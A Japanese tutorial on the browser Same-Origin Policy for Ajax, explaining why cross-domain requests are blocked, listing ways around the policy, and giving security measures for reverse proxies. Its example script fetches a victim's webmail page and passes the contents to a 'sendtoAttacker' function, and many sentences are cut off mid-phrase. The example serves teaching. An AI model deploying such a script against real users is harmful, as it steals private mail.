Same-Originポリシー
第2回はAjaxに関するセキュリティモデルを紹介します。第1回で紹介した、
Ajaxを使い通信を行う部分は次のように記述しました。
req.open('GET', 'http://www.example.com/contents.txt');
このURLの部分を、
これはセキュリティ上の理由から、

Same-Originポリシーの必要性
それではなぜSame-Originポリシーが必要なのかを理解するために、
ユーザはWebメールを提供しているサイトにログインし、

ユーザはメールを読んでいる最中に用事を思い出し、
このときwww.
<script language="javascript">
var req;
if( window.XMLHttpRequest){
req = new XMLHttpRequest();
}else if(window.ActiveXObject){
try {
req = new ActiveXObject("MSXML2.XMLHTTP");
} catch (e) {
req = new ActiveXObject("Microsoft.XMLHTTP");
}
}
if (req) {
req.open('GET', 'http://mail.example.com/mail/index.html'); // (3)クロスドメインアクセス
req.onreadystatechange = function() {
if (req.readyState == 4) {
sendtoAttacker(req.responseText); // (4)取得した情報を攻撃者のサーバへ送信
}
}
req.send(null);
}
</script>
するとWebメールのサイトにリクエストが送信されます。…(3)
その結果、
その後、
このように、
実際にはクロスドメインアクセスは禁止されていますので、
なお、
Same-Originポリシーの迂回
とはいっても、
ドメインの異なる2つのサーバを管理しており、
このような場合にクロスドメインアクセスを実現する方法として、
- リバースPorxy
- SCRIPTタグ
(JSONP) - Flash
- 画像
- スタイルシート
この中でリバースProxy、
リバースProxyを使う方法
Proxyサーバを設置し、
ユーザのブラウザからは1つのサーバにアクセスしていますが、

さて、
不特定多数の人がこのProxyサーバにアクセスできるようになっていると、
データ提供サーバから見ると、
また別の問題として、
リバースProxyを使う場合のセキュリティ対策
では対策について考えてみましょう。以下の3つが挙げられます。
- ・
接続先のサーバを制限する - Proxyサーバが情報を取りに行くサーバを限定します。たいていのサービスでは任意のサーバに情報を取得しにいく必要はないと思います。制限することによって攻撃者からみると利用価値の限られたProxyサーバになりますので悪用される可能性も低くなります。
- ・
認証を行う -
Proxyサーバを利用できるユーザを限定します。しかし、
不特定多数のユーザに提供しているサービスではこの方法を使うことはできません。 - ・
認証情報を扱わない - 残念ながらProxyサーバ側で認証情報を扱わないで認証を行うことはできません。サーバ側で認証情報を扱わないで認証情報を必要とするサービスを利用する方法は次回以降で紹介したいと思います。
Same-Originポリシーを迂回するという覚悟
クロスドメインアクセスを許可するようなサービスを提供するということは、
それでもサービスを提供する場合には、
今回は、